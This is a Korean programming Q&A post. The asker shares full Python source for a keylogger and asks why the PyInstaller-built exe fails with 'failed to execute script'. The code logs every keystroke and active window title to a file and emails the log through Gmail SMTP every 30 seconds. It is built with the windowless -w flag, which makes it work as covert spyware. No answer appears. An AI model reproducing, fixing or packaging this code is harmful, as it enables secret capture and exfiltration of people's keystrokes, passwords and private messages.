[pyinstaller] path 설정도 했는데 오류가 뜹니다 (failed to execute script)
조회수 1827회
import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener
절대경로 설정(pyinstaller 사용시)
def resource_path(relative_path):
try:
# PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
FILEMANAGER
username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]
basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()
WINMANAGER
def gettitle():
lib = ctypes.windll.LoadLibrary('user32.dll')
handle = lib.GetForegroundWindow() # 활성화된 윈도우의 핸들얻음
buffer = ctypes.create_unicode_buffer(255) # 타이틀을 저장할 버퍼
lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer)) # 버퍼에 타이틀 저장
return buffer.value # buffer return
윈도우 타이틀 감지 함수
def wintitle():
oldtitle = gettitle()
while True:
time.sleep(0.1)
if gettitle() != oldtitle:
logger("\n" + "///" + gettitle() + "///" + "\n")
oldtitle = gettitle()
KEYLOGGING
감지한 키 로깅
def logger(key):
key = str(key).replace("'", "")
f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
f.write(key + "\n")
f.close()
키 입력 감지 함수
def on_press(key):
logger(key)
print(key)
MAILMANAGER
def main2():
sender = 'xxx@gmail.com' # 발신자 이메일
receiver = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
password = 'xxx' # 자신의 구글 계정 패스워드
log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(sender, receiver, log)
server.quit()
if __name__ == "__main__":
main2()
메일 보내는 시간 설정
def FSC():
while True:
time.sleep(30)
print("TIME PASS")
main2()
메인 함수
def main():
with Listener(on_press=on_press) as listener:
listener.join()
쓰레딩
mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)
mainThread.start()
titleThread.start()
FSCThread.start()
VSCode 내에서 실행하면 잘만 돌아갑니다. 하지만 exe로 변환시키면서 문제가 발생하네요.
terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py
를 실행시켜 다음 사진과 같은 결과를 얻었습니다.
보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script
라고 뜨네요.
경로설정에는 더이상 문제가 없는 것 같은데
-
(•́ ✖ •̀)
알 수 없는 사용자 - 〉
댓글 입력